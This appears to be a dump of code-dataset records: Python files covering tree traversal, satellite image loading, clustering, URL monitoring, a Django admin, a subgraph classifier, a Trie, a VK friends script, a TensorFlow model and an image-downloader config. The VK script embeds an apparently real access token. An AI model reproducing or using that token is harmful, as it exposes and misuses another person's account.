preorder.append(cur[0])\n if n:\n for i in range(len(n)):\n if n[i][1][1] == levels[curLevel+1]:\n if n[i][1][0] < cur[1][0]:\n order([x for x in nodeList if x[1][0]< cur[1][0]], levels, curLevel+1)\n else:\n order([x for x in nodeList if x[1][0]> cur[1][0]], levels, curLevel+1)\n postorder.append(cur[0])\n","sub_path":"gut27/Codingtest/길찾기게임.py","file_name":"길찾기게임.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"630940924","text":"\n#https://www.analyticsvidhya.com/blog/2019/10/building-image-classification-models-cnn-pytorch/\n\n#Data loading\n#Libraries\n\nimport tifffile as tiff\nimport datetime\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport glob\nfrom tqdm.notebook import tqdm\nfrom skimage import exposure\n\ndef load_file(fp):\n \"\"\"Takes a PosixPath object or string filepath\n and returns np array\"\"\"\n \n return tiff.imread(fp.__str__())\n \n#Getting list of dates\ntile_dates = {}\nfor f in glob.glob('**/*.tif', recursive=True):\n if len(f.split('/')) != 4:\n continue\n tile_id = f.split('/')[1]\n date = datetime.datetime.strptime(f.split('/')[2], '%Y%m%d')\n if tile_dates.get(tile_id, None) is None:\n tile_dates[tile_id] = []\n tile_dates[tile_id].append(date)\n\nfor tile_id, dates in tile_dates.items():\n tile_dates[tile_id] = list(set(tile_dates[tile_id]))\n \n \nselected_tile = list(tile_dates.keys())[0]\ndates = sorted(tile_dates[selected_tile])\n\nbands = [ 'B02', 'B03', 'B04', 'B08','CLD']\ndef load_image(date):\n img = list()\n for band in bands:\n file_name = f\"data/{selected_tile}/{date}/{int(selected_tile)}_{band}_{date}.tif\"\n img.append(load_file(file_name))\n return np.dstack(img)\n\n#Loading data as numpy array \ndef load_timeseries():\n tstack = list()\n with tqdm(dates, total=len(dates), desc=\"reading images\") as pbar:\n for date in pbar:\n tstack.append(load_image(date.strftime(\"%Y%m%d\")))\n return np.stack(tstack) \n\ntimeseries = load_timeseries()\nprint(timeseries.shape)\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"397056651","text":"import sys\nfrom subprocess import check_output\n\n\nPROGRESSBAR_WIDTH = 40\n\n\ndef update_progress_bar(line_ctr, num_lines, out='stdout'):\n '''Updates progress bar'''\n if not num_lines:\n return None\n percent = float(line_ctr) / float(num_lines)\n num_pounds = int(percent * PROGRESSBAR_WIDTH)\n num_spaces = PROGRESSBAR_WIDTH - num_pounds\n if out == 'stderr':\n sys.stderr.write(\"[%s%s] (%.0f%%)\\r\" % (\"#\" * num_pounds,\n \" \" * num_spaces,\n percent * 100))\n else:\n sys.stdout.write(\"[%s%s] (%.0f%%)\\r\" % (\"#\" * num_pounds,\n \" \" * num_spaces,\n percent * 100))\n sys.stdout.flush()\n\n\ndef num_file_lines(filepath):\n '''Counts the number of lines of a file'''\n out = check_output([\"wc\", \"-l\", filepath])\n return long(out.split(' ')[0])\n\n","sub_path":"pcap_processing/lib/progress_bar.py","file_name":"progress_bar.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"405711957","text":"import numpy\nfrom jenks import jenks\nfrom sklearn.cluster import Birch\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.cluster import KMeans\nfrom sklearn.cluster import MeanShift\nfrom scipy.signal import argrelextrema\nfrom sklearn.mixture import GaussianMixture\nfrom sklearn.neighbors import KernelDensity\nfrom sklearn.metrics import silhouette_score\nfrom sklearn.cluster import AffinityPropagation\nfrom sklearn.cluster import AgglomerativeClustering\n\nfrom pyclustering.cluster.xmeans import xmeans\nfrom pyclustering.cluster.center_initializer import kmeans_plusplus_initializer\n\ndef goodness_of_variance_fit(data, classes):\n \n def classify(value, breaks):\n for i in range(1, len(breaks)):\n if value < breaks[i]:\n return i\n return len(breaks) - 1\n \n # classification\n classified = numpy.array([classify(i, classes) for i in data])\n # nested list of range indices\n zone_indices = [[idx for idx, val in enumerate(classified) if zone+1 == val] for zone in range(max(classified))]\n # sorted polygon stats\n array_sort = [numpy.array([data[index] for index in zone]) for zone in zone_indices if len(zone) > 0]\n # sum of squared deviations of class means\n sdcm = sum([numpy.sum((classified - classified.mean()) ** 2) for classified in array_sort])\n # sum of squared deviations from array mean\n sdam = numpy.sum((data - data.mean()) ** 2)\n # goodness of variance fit\n return (sdam - sdcm) / sdam\n\ndef gaussian_mixture_bic(data, min_clusters, max_clusters):\n bic = list()\n num_cluster = list()\n for n_cluster in range(min_clusters, max_clusters+1):\n model = GaussianMixture(n_cluster).fit(data)\n num_cluster.append(n_cluster)\n bic.append(model.bic(data))\n return num_cluster[numpy.argmin(bic)]\n\ndef gaussian_mixture_aic(data, min_clusters, max_clusters):\n aic = list()\n num_cluster = list()\n for n_cluster in range(min_clusters, max_clusters+1):\n model = GaussianMixture(n_cluster).fit(data)\n num_cluster.append(n_cluster)\n aic.append(model.aic(data))\n return num_cluster[numpy.argmin(aic)]\n\ndef dbscan(data): # min_samples=2\n cluster_labels = DBSCAN().fit_predict(data)\n unique_clusters = numpy.unique(cluster_labels)\n return len(unique_clusters)\n\ndef birch(data):\n cluster_labels = Birch(n_clusters=None).fit_predict(data)\n unique_clusters = numpy.unique(cluster_labels)\n return len(unique_clusters)\n\ndef affinity_propagation(data):\n cluster_labels = AffinityPropagation().fit_predict(data)\n unique_clusters = numpy.unique(cluster_labels)\n return len(unique_clusters)\n\ndef mean_shift(data):\n if data.ndim > 1:\n return -1\n X = numpy.asarray(list(zip(data, numpy.zeros(len(data)))))\n mean_shift = MeanShift().fit(X)\n labels_unique = numpy.unique(mean_shift.labels_)\n return len(labels_unique)\n\n# local minima in density are be good places to split the data into clusters\ndef kernel_density_estimation(data, length_density=50):\n # https://stackoverflow.com/questions/35094454/how-would-one-use-kernel-density-estimation-as-a-1d-clustering-method-in-scikit\n if data.ndim > 1:\n return -1\n kde = KernelDensity().fit(data)\n s = numpy.linspace(0, length_density)\n e = kde.score_samples(s.reshape(-1, 1))\n minimum = argrelextrema(e, numpy.less)[0]\n return len(minimum) + 1\n\n# https://github.com/mthh/jenkspy\n# https://stats.stackexchange.com/questions/143974/jenks-natural-breaks-in-python-how-to-find-the-optimum-number-of-breaks\ndef jenks_natural_breaks(data, min_clusters, max_clusters):\n if data.ndim > 1:\n return -1\n num_cluster = list()\n gvf = list()\n for n_cluster in range(min_clusters, max_clusters+1):\n classes = jenks(data, n_cluster)\n if classes:\n num_cluster.append(n_cluster)\n gvf.append(goodness_of_variance_fit(data, classes))\n return num_cluster[numpy.argmax(gvf)]\n\n# https://scikit-learn.org/stable/auto_examples/cluster/plot_kmeans_silhouette_analysis.html\ndef kmeans_silhouette(data, min_clusters, max_clusters):\n num_cluster = list()\n silhouette = list()\n for n_cluster in range(min_clusters, max_clusters+1):\n kmeans = KMeans(n_clusters=n_cluster)\n cluster_labels = kmeans.fit_predict(data)\n silhouette_avg = silhouette_score(data, cluster_labels)\n num_cluster.append(n_cluster)\n silhouette.append(silhouette_avg)\n return num_cluster[numpy.argmax(silhouette)]\n\n# k-means + BIC to identify optimal number of clusters\n# BIC integrated internally and not accessible from outside\ndef xmeans_clustering(data, min_clusters, max_clusters):\n initial_centers = kmeans_plusplus_initializer(data, min_clusters).initialize()\n xmeans_instance = xmeans(data, initial_centers, kmax=max_clusters)\n xmeans_instance.process()\n centers = xmeans_instance.get_centers()\n return len(centers)\n\ndef agglomerative_hierarchical(data, min_clusters, max_clusters):\n num_cluster = list()\n silhouette = list()\n for n_cluster in range(min_clusters, max_clusters+1):\n hc = AgglomerativeClustering(n_clusters=n_cluster)\n cluster_labels = hc.fit_predict(data)\n silhouette_avg = silhouette_score(data, cluster_labels)\n num_cluster.append(n_cluster)\n silhouette.append(silhouette_avg)\n return num_cluster[numpy.argmax(silhouette)]\n","sub_path":"device-association/relay_attack/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":5396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"428884816","text":"# -*- coding: utf-8 -*-\nimport multiprocessing\nimport time\n\nimport requests\n\nfrom pinger.types import Response, InvalidContent, InvalidStatusCode, Timeout\nfrom pinger.ext import ActionProvider\n\n\ndef watcher(url, expected_content, expected_status_code, interval, timeout, queue):\n \"\"\"\n Makes a request and validates the response. Response is sent to given queue to be\n processed afterwards by a different worker\n \"\"\"\n response = Response(multiprocessing.current_process().name, url)\n\n try:\n request_response = requests.get(url, timeout=timeout)\n except requests.exceptions.ReadTimeout:\n error = Timeout('Open page', 'Timed out after {} seconds'.format(timeout))\n response.add_error(error)\n else:\n response.set_elapsed_time(request_response.elapsed)\n\n if expected_status_code != request_response.status_code:\n error = InvalidStatusCode(expected_result=expected_status_code, actual_result=request_response.status_code)\n response.add_error(error)\n\n if expected_content not in request_response.text:\n error = InvalidContent(expected_result=expected_content, actual_result='Content of {}'.format(url))\n response.add_error(error)\n\n queue.put(response.to_dict())\n time.sleep(interval)\n return watcher(url, expected_content, expected_status_code, interval, timeout, queue)\n\n\ndef post_processor(queue):\n \"\"\"\n Processes results from watcher. Expects the result to be a dict\n containing the following data:\n\n ========== ==========================================================\n status Wether the request was successful or not\n errors List of errors, each one being a dictionary itself.\n elapsed Time taken for the request to be done\n ========== ==========================================================\n \"\"\"\n while True:\n response = queue.get()\n for Plugin in ActionProvider.plugins:\n plugin = Plugin()\n plugin.receive(name=response['name'],\n url=response['url'],\n status=response['status'],\n errors=response['errors'],\n elapsed=response['elapsed'])\n","sub_path":"pinger/workers.py","file_name":"workers.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"327487138","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.contrib import admin\n# from django.contrib.admin import SimpleListFilter\n# from django.contrib.contenttypes.models import ContentType\n# from django.core.urlresolvers import reverse\n# from django.http import HttpResponseRedirect\nfrom .models import Selection, FilterField\nfrom django.conf import settings\n\nstatic_url = getattr(settings, 'STATIC_URL', '/static/')\n\n\nclass FilterFieldInline(admin.TabularInline):\n model = FilterField\n extra = 1\n\n\nclass SelectionAdmin(admin.ModelAdmin):\n fields = ['name', 'description', 'root_model', 'slug']\n inlines = [FilterFieldInline, ]\n list_display = ('name', 'description', 'root_model', 'created', 'modified', )\n list_display_links = []\n list_filter = ('root_model', 'created', 'modified', 'root_model__app_label')\n readonly_fields = ['slug', ]\n search_fields = ('name', 'description')\n\nadmin.site.register(Selection, SelectionAdmin)\n","sub_path":"build/lib/object_selector/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"246534534","text":"import numpy as np\nimport json\nimport pickle\nfrom tqdm import tqdm\nfrom answer_classifier import AnswerClassifier\nfrom openke.module.model import TransE, RotatE, ComplEx\nfrom subgraphs import Subgraph\nfrom subgraphs import SUBTYPE\nfrom numpy import linalg as LA\nfrom subgraphs import read_triples\nfrom openke.data import TrainDataLoader\nimport torch\nimport kge.model\n\nclass SubgraphClassifier(AnswerClassifier):\n\n def __init__(self, type_prediction, db, topk_answers_per_query, queries_file_path, embeddings_file_path, subgraphs_file_path, sub_emb_file_path, emb_model, training_file_path, db_path, subgraph_threshold_percentage = 0.1):\n super(SubgraphClassifier, self).__init__(type_prediction, queries_file_path, db, emb_model, topk_answers_per_query)\n self.topk_answers_per_query = topk_answers_per_query\n self.emb_file_path = embeddings_file_path\n self.sub_file_path = subgraphs_file_path\n self.sub_emb_file_path = sub_emb_file_path\n self.training_file_path = training_file_path\n self.subgraph_threshold_percentage = subgraph_threshold_percentage\n self.init_embeddings(emb_model)\n self.init_subgraphs()\n self.init_sub_embeddings()\n self.init_training_triples()\n\n self.init_train_dataloader(db_path)\n self.model_name = emb_model\n self.init_model_score_function(emb_model)\n self.cnt_subgraphs_dict = {}\n # This is the list of Counts of subgraphs / % Threshold\n # Count of subgraphs in which the answer was found.\n # % Threshold for this query (dynamically computed, hence different for every query)\n self.cnt_subgraphs_dict[\"raw\"] = []\n self.cnt_subgraphs_dict[\"fil\"] = []\n self.cnt_subgraphs_dict[\"abs\"] = []\n\n def set_logfile(self, logfile):\n self.logfile = logfile\n\n def init_train_dataloader(self, db_path):\n self.train_dataloader = TrainDataLoader(\n in_path = db_path,\n nbatches = 100,\n threads = 8,\n sampling_mode = \"normal\",\n bern_flag = 1,\n filter_flag = 1,\n neg_ent = 25,\n neg_rel = 0\n )\n def print_answer_entities(self):\n if self.logfile == None:\n return\n log = open(self.logfile, \"w\")\n for index, x in enumerate(self.x_test_fil):\n e = int(x[0])\n r = int(x[1])\n a = int(x[2])\n head = e\n tail = a\n if self.type_prediction == \"head\":\n head = a\n tail = e\n sub = \"{\" + self.cnt_subgraphs_dict[\"fil\"][index] + \"}\"\n if self.y_test_fil[index] == 1 and self.y_predicted_fil[index] == 0:\n print(\"$$Expected (1) Predicted (0): $\", self.entity_dict[head] , \" , \", self.relation_dict[r] , \" => \", self.entity_dict[tail], sub,\" $$$\", file=log)\n if self.y_predicted_fil[index] == 1 and self.y_test_fil[index] == 0:\n print(\"**Expected (0) Predicted (1): * \", self.entity_dict[head] , \" , \", self.relation_dict[r] , \" => \", self.entity_dict[tail] , sub,\" ***\", file=log)\n if self.y_predicted_fil[index] == 1 and self.y_test_fil[index] == 1:\n print(\"##Expected (1) Predicted (1): # \", self.entity_dict[head] , \" , \", self.relation_dict[r] , \" => \", self.entity_dict[tail] , sub,\" ###\", file=log)\n if self.y_predicted_fil[index] == 0 and self.y_test_fil[index] == 0:\n print(\"##Expected (0) Predicted (0): # \", self.entity_dict[head] , \" , \", self.relation_dict[r] , \" => \", self.entity_dict[tail] , sub, \" ###\", file=log)\n if (index+1) % self.topk_answers_per_query == 0:\n print(\"*\" * 80, file = log)\n\n log.close()\n\n def init_training_triples(self):\n triples = read_triples(self.training_file_path)\n # triples are in the form (h,r,t)\n # For type_prediction : head, we sort by tail\n if self.type_prediction == \"head\":\n self.training_triples = sorted(triples, key = lambda l : (l[2], l[1]))\n elif self.type_prediction == \"tail\":\n self.training_triples = sorted(triples, key = lambda l : (l[2], l[0]))\n\n def init_model_score_function(self, emb_model):\n if emb_model == \"transe\":\n N_DIM = 200\n #self.model_score = self.transe_score\n self.model = TransE(\n ent_tot = self.train_dataloader.get_ent_tot(),\n rel_tot = self.train_dataloader.get_rel_tot(),\n dim = N_DIM,\n p_norm = 1,\n norm_flag = True\n )\n elif emb_model == \"rotate\":\n N_DIM = 200\n self.model = RotatE(\n ent_tot = self.train_dataloader.get_ent_tot(),\n rel_tot = self.train_dataloader.get_rel_tot(),\n dim = N_DIM,\n margin = 6.0,\n epsilon = 2.0)\n elif emb_model == \"complex\":\n N_DIM = 256\n self.model = ComplEx(\n ent_tot = self.train_dataloader.get_ent_tot(),\n rel_tot = self.train_dataloader.get_rel_tot(),\n dim = N_DIM\n );\n\n def init_embeddings(self, emb_model):\n if emb_model == \"complex\":\n model = kge.model.KgeModel.load_from_checkpoint(self.emb_file_path)\n E_temp = model._entity_embedder._embeddings_all()\n R_temp = model._relation_embedder._embeddings_all()\n self.E = E_temp.tolist()\n self.R = R_temp.tolist()\n else:\n with open (self.emb_file_path, 'r') as fin:\n params = json.loads(fin.read())\n self.E = params['ent_embeddings.weight']\n self.R = params['rel_embeddings.weight']\n\n def init_subgraphs(self):\n with open(self.sub_file_path, 'rb') as fin:\n self.subgraphs = pickle.load(fin)\n\n def init_sub_embeddings(self):\n with open(self.sub_emb_file_path, 'rb') as fin:\n self.S = pickle.load(fin)\n\n def complex_score(self, sub_emb, ent_emb, rel_emb, pred_type):\n # separate real and imag embeddings\n mid = len(sub_emb)/2\n sub_re = sub_emb[:mid]\n sub_im = sub_emb[mid:]\n ent_re = ent_emb[:mid]\n ent_im = ent_emb[mid:]\n rel_re = rel_emb[:mid]\n rel_im = rel_emb[mid:]\n\n if pred_type == \"tail\":\n score = (ent_emb + rel_emb) - sub_emb\n else:\n score = sub_emb + (rel_emb - ent_emb)\n\n return LA.norm(score, 2)\n\n def rotate_score(self, sub_emb, ent_emb, rel_emb, pred_type):\n if pred_type == \"tail\":\n score = (ent_emb + rel_emb) - sub_emb\n else:\n score = sub_emb + (rel_emb - ent_emb)\n\n return LA.norm(score, 2)\n\n def transe_score(self, sub_emb, ent_emb, rel_emb, pred_type):\n if pred_type == \"tail\":\n score = (ent_emb + rel_emb) - sub_emb\n else:\n score = sub_emb + (rel_emb - ent_emb)\n\n return LA.norm(score, 2)\n\n #def get_subgraph_scores(self, sub_emb, ent_emb, rel_emb, pred_type, score_callback):\n # return score_callback(np.array(sub_emb), np.array(ent_emb), np.array(rel_emb), pred_type)\n #def get_subgraph_scores(self, sub_emb, ent_emb, rel_emb, pred_type):\n\n\n def predict(self):\n #self.predict_internal(self.x_test_raw, self.y_predicted_raw, \"raw\")\n self.predict_internal(self.x_test_fil, self.y_predicted_fil, \"fil\")\n self.y_predicted_raw = self.y_predicted_fil\n # replace all 0s with -1\n for x in self.y_predicted_fil:\n if x == 1:\n self.y_predicted_fil_abs.append(x)\n elif x == 0:\n self.y_predicted_fil_abs.append(-1)\n #self.predict_internal(self.x_test_fil, self.y_predicted_fil_abs, \"abs\")\n\n def get_dynamic_topk(self, ent, rel, sub_indexes):\n '''\n 1. Search ent, rel in training triples\n 2. If answer is found, look for the answer in sorted subgraphs\n '''\n #print(\"ent {}, rel {} \". format(ent, rel))\n answers = []\n for index, triple in enumerate(self.training_triples):\n if triple[2] != rel:\n continue\n\n if triple[2] > rel:\n break\n\n if self.type_prediction == \"head\":\n if triple[1] == ent:\n answers.append(triple[0])\n elif self.type_prediction == \"tail\":\n if triple[0] == ent:\n answers.append(triple[1])\n\n if len(answers) == 0:\n return int(0.1 * len(sub_indexes))\n\n found_index = []\n for j, sub_index in enumerate(sub_indexes):\n if j > len(sub_indexes)/2:\n break\n for answer in answers:\n if answer in self.subgraphs[sub_index].data['entities']:\n found_index.append(j)\n break\n if len(found_index) == 0:\n return int(0.1 * len(sub_indexes))\n\n #print(\"found topk : \", found_index)\n return max(found_index)\n\n\n def predict_internal(self, x_test, y_predicted, setting):\n # Go over all test queries\n cnt_subgraphs_index = 0\n for index in tqdm(range(0, len(x_test), self.topk_answers_per_query)):\n print(index , \" : \")\n features = np.array(x_test[index: index + self.topk_answers_per_query])\n ent = int(features[0][0])\n rel = int(features[0][1])\n topk_ans_entities = features[:, 2].astype(int)\n\n # call get_subgraph_scores only once and get all scores\n new_E = torch.Tensor(self.E[ent])[np.newaxis, :]\n new_R = torch.Tensor(self.R[rel])[np.newaxis, :]\n new_S = torch.Tensor(self.S)\n if self.model_name == \"complex\":\n s_re, s_im = torch.chunk(new_S, 2, dim = -1)\n e_re, e_im = torch.chunk(new_E, 2, dim = -1)\n r_re, r_im = torch.chunk(new_R, 2, dim = -1)\n subgraph_scores = self.model._calc(s_re, s_im, e_re, e_im, r_re, r_im)\n else:\n subgraph_scores = self.model._calc(torch.Tensor(self.S), new_E, new_R, self.type_prediction+'_batch')\n '''\n subgraph_scores = []\n for index, se in enumerate(self.S):\n if self.subgraphs[index].data['ent'] == ent and self.subgraphs[index].data['rel'] == rel:\n subgraph_scores.append(np.inf)\n else:\n subgraph_scores.append(self.get_subgraph_scores(se, self.E[ent], self.R[rel], self.type_prediction, self.model_score))\n '''\n sub_indexes = np.argsort(subgraph_scores)\n\n topk_subgraphs = self.get_dynamic_topk(ent, rel, sub_indexes)\n\n # Check topk_subgraphs and if it is > 10\n threshold_subgraphs = int(self.subgraph_threshold_percentage * topk_subgraphs)\n\n threshold_subgraphs = min(len(sub_indexes)*0.1, threshold_subgraphs)\n # working\n '''\n for i, answer in enumerate(topk_ans_entities):\n cnt_presence_in_sub = 0;\n # Check in only topK subgraphs\n for j, sub_index in enumerate(sub_indexes[:topk_subgraphs]):\n if answer in self.subgraphs[sub_index].data['entities']:\n cnt_presence_in_sub += 1\n #print(\"{} FOUND in subgraph # {}\". format(answer, j))\n #if cnt_presence_in_sub != 0:\n self.cnt_subgraphs_dict[setting].append(str(cnt_presence_in_sub) + \" / \" + str(threshold_subgraphs))\n if cnt_presence_in_sub > threshold_subgraphs: #topk_subgraphs/2:\n y_predicted.append(1)\n else:\n y_predicted.append(0)\n '''\n cntMap = dict.fromkeys(topk_ans_entities)\n for sub_index in sub_indexes[:topk_subgraphs]:\n for i, answer in enumerate(topk_ans_entities):\n if answer in self.subgraphs[sub_index].data['entities']:\n if cntMap[answer] == None:\n cntMap[answer] = 1\n else:\n cntMap[answer] += 1\n\n for key in topk_ans_entities:\n self.cnt_subgraphs_dict[setting].append(str(cntMap[key]) + \" / \" + str(threshold_subgraphs))\n #if cntMap[key] and cntMap[key] > threshold_subgraphs:\n if cntMap[key] and cntMap[key] > 0:#threshold_subgraphs:\n y_predicted.append(1)\n else:\n if setting == \"abs\":\n y_predicted.append(-1)\n else:\n y_predicted.append(0)\n\n","sub_path":"subgraph_classifier.py","file_name":"subgraph_classifier.py","file_ext":"py","file_size_in_byte":12934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"86277662","text":"from typing import List\n\n\nclass Trie:\n def __init__(self):\n self.nodes = {}\n self.end = False\n\n def add(self, word: str):\n curr = self\n for ch in word:\n if not ch in curr.nodes:\n curr.nodes[ch] = Trie()\n curr = curr.nodes[ch]\n curr.end = True\n\n def search(self, keyword):\n curr = self\n for ch in keyword:\n if not ch in curr.nodes:\n return []\n curr = curr.nodes[ch]\n\n res = []\n curr.find_word(keyword, res)\n return res\n\n def find_word(self, acc: str, res: List[str]):\n if len(res) >= 3:\n return\n if self.end:\n res.append(acc)\n\n for ch, node in self.nodes.items():\n node.find_word(acc + ch, res)\n\n\nclass Solution:\n def suggestedProducts(self, products: List[str], searchWord: str) -> List[List[str]]:\n head = Trie()\n for product in sorted(products):\n head.add(product)\n\n results = []\n for i in range(1, len(searchWord) + 1):\n keyword = searchWord[:i]\n result = head.search(keyword)\n results.append(result)\n\n return results\n\n\nif __name__ == \"__main__\":\n print(Solution().suggestedProducts([\"mobile\",\"mouse\",\"moneypot\",\"monitor\",\"mousepad\"], \"mouse\"))","sub_path":"leetcode/p1268_search_suggestion_system/my_attempt.py","file_name":"my_attempt.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"173654975","text":"import requests\n\n\nclass User:\n\n def __init__(self, user_id):\n self.user_id = user_id\n\n def __str__(self):\n return 'https://vk.com/id' + self.user_id\n\n def my_friends(self):\n params = {\n 'user_id': self.user_id,\n 'access_token': '643664a007e9e890893d3fb5c109d24a0b6ad0ff9c17d9daf529b278f0a8d213d8a7462b75c20a1cdebb0',\n 'v': '5.92',\n 'fields': 'domain'\n }\n response = requests.get('https://api.vk.com/method/friends.get', params)\n two_friends_data = response.json()\n two_friends_set = set()\n for friend in two_friends_data['response']['items']:\n two_friends_set.add(friend['id'])\n return two_friends_set\n\n def __and__(self, other):\n general_friends = list(self.my_friends() & other.my_friends())\n friends_list = [User(i) for i in general_friends]\n print(friends_list)\n\n\nif __name__ == \"__main__\":\n user1 = User('1461201')\n user2 = User('18132541')\n user1 & user2\n print(user1)\n print(user2)","sub_path":"vk.py","file_name":"vk.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"108368270","text":"# %%\nimport numpy as np\nimport tensorflow as tf\nimport pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport os\n\nfile_path = 'data/data_asset_choosed/487/subset_by_time_drop/'\nfile_list = os.listdir(file_path)\nkeys_data = [\"time\",\"distance\",\"speed\"]\nkeys_prediction = [\"fuel\"]\n\ninput = None\noutput = None\nfor file_name in file_list:\n df_i = pd.read_csv(file_path+file_name)\n df_input = df_i[keys_data][1:].convert_objects(convert_numeric=True).as_matrix()\n df_output = df_i[keys_prediction][1:].convert_objects(convert_numeric=True).as_matrix()\n\n if input == None:\n input = df_input\n output = df_output\n else:\n input = np.concatenate( (input,df_input), axis=0)\n output = np.concatenate( (output,df_output), axis=0)\n\n\n\n\n#%%\n\n[mean_time,mean_distance,mean_speed] = mean_value =np.mean(input, axis=0)\nmean_fuel = np.mean(output, axis=0)\ninput_norm = np.divide(input,mean_value)\noutput_norm = np.divide(output,mean_fuel)\n\nprint(mean_value)\nprint(mean_fuel)\nprint(\"data length : \",len(input_norm),input_norm.shape)\nprint(\"data length : \",len(output_norm),output_norm.shape)\n\ntrain_data = input_norm[0:13000]\ntrain_label = output_norm[0:13000]\ntest_data = input_norm[13000:]\ntest_label = output_norm[13000:]\n\n\n#%%\nbatch_size = 500\ninput_size = 3\noutput_size = 1\n\ntf_train_dataset = tf.placeholder(tf.float32, shape=(None,input_size))\ntf_train_label = tf.placeholder(tf.float32, shape=(None,output_size))\n\nw1 = tf.Variable(tf.truncated_normal([3, 10]))\nb1 = tf.Variable(tf.zeros([10]))\nw2 = tf.Variable(tf.truncated_normal([10, 10]))\nb2 = tf.Variable(tf.zeros([10]))\nw3 = tf.Variable(tf.truncated_normal([10, 1]))\nb3 = tf.Variable(tf.zeros([1]))\n\nh1 = tf.nn.relu(tf.add(tf.matmul(tf_train_dataset, w1), b1))\nh2 = tf.nn.relu(tf.add(tf.matmul(h1, w2), b2))\npred = tf.transpose( tf.add(tf.matmul(h2, w3), b3) )\nloss = tf.reduce_mean(tf.squared_difference(pred,tf_train_label))\noptimizer = tf.train.AdamOptimizer().minimize(loss)\ninit = tf.global_variables_initializer()\nsaver = tf.train.Saver()\n\n#%%\ntf_model_path = \"data/tf_model/model.ckpt\"\nwith tf.Session() as sess:\n sess.run(init)\n num_iters = len(train_data)//batch_size\n num_epochs = 50\n print('variable initialized')\n print('num of iters: ', num_iters)\n\n offset = 0\n endset = 0+batch_size\n for e in range(num_epochs):\n for i in range(num_iters):\n\n if endset > len(train_data):\n batch_x = train_data[offset:]\n batch_y = train_label[offset:]\n\n offset = endset - len(train_data)\n endset = offset + batch_size\n\n batch_x = np.concatenate( (batch_x,train_data[0:offset]), axis=0)\n batch_y = np.concatenate( (batch_y,train_label[0:offset]), axis=0)\n\n\n else:\n batch_x = train_data[offset:endset]\n batch_y = train_label[offset:endset]\n offset = offset + batch_size\n endset = endset + batch_size\n\n sess.run(optimizer, feed_dict={tf_train_dataset: batch_x, tf_train_label: batch_y})\n\n\n lo = sess.run(loss, feed_dict={tf_train_dataset: train_data, tf_train_label: train_label})\n print(\"loss is :\",lo)\n saver.save(sess,tf_model_path)\n\n\n#%%\ntf_model_path = \"data/tf_model/model.ckpt\"\nwith tf.Session() as sess:\n saver.restore(sess, tf_model_path)\n prediction = sess.run(pred,feed_dict={tf_train_dataset: train_data[0:10]} )\n print(np.multiply(prediction[0:10],mean_fuel))\n print(np.multiply(train_label[0:10],mean_fuel))\n","sub_path":"test_tf.py","file_name":"test_tf.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"275703981","text":"downloads_directory = \"downloads\"\n\ngoogle_search = 'https://www.google.com/search?q='\n\nuser_agent = (\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 \"\n \"(KHTML, like Gecko) Chrome/24.0.1312.27 Safari/537.17\")\nuser_agent_3 = (\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 \"\n \"(KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\")\n\nargs_list = [\"keywords\", \"keywords_from_file\", \"prefix_keywords\", \"suffix_keywords\",\n \"limit\", \"format\", \"color\", \"color_type\", \"usage_rights\", \"size\",\n \"exact_size\", \"aspect_ratio\", \"type\", \"time\", \"time_range\", \"delay\", \"url\", \"single_image\",\n \"output_directory\", \"image_directory\", \"no_directory\", \"proxy\", \"similar_images\", \"specific_site\",\n \"print_urls\", \"print_size\", \"print_paths\", \"metadata\", \"extract_metadata\", \"socket_timeout\",\n \"thumbnail\", \"thumbnail_only\", \"language\", \"prefix\", \"chromedriver\", \"related_images\", \"safe_search\",\n \"no_numbering\", \"offset\", \"no_download\", \"save_source\", \"silent_mode\", \"ignore_urls\"]\n\nlang_param = {\n \"Arabic\": \"lang_ar\",\n \"Chinese (Simplified)\": \"lang_zh-CN\",\n \"Chinese (Traditional)\": \"lang_zh-TW\",\n \"Czech\": \"lang_cs\",\n \"Danish\": \"lang_da\",\n \"Dutch\": \"lang_nl\",\n \"English\": \"lang_en\",\n \"Estonian\": \"lang_et\",\n \"Finnish\": \"lang_fi\",\n \"French\": \"lang_fr\",\n \"German\": \"lang_de\",\n \"Greek\": \"lang_el\",\n \"Hebrew\": \"lang_iw \",\n \"Hungarian\": \"lang_hu\",\n \"Icelandic\": \"lang_is\",\n \"Italian\": \"lang_it\",\n \"Japanese\": \"lang_ja\",\n \"Korean\": \"lang_ko\",\n \"Latvian\": \"lang_lv\",\n \"Lithuanian\": \"lang_lt\",\n \"Norwegian\": \"lang_no\",\n \"Portuguese\": \"lang_pt\",\n \"Polish\": \"lang_pl\",\n \"Romanian\": \"lang_ro\",\n \"Russian\": \"lang_ru\",\n \"Spanish\": \"lang_es\",\n \"Swedish\": \"lang_sv\",\n \"Turkish\": \"lang_tr\"\n}\n\ncolor_params = {\n 'red': 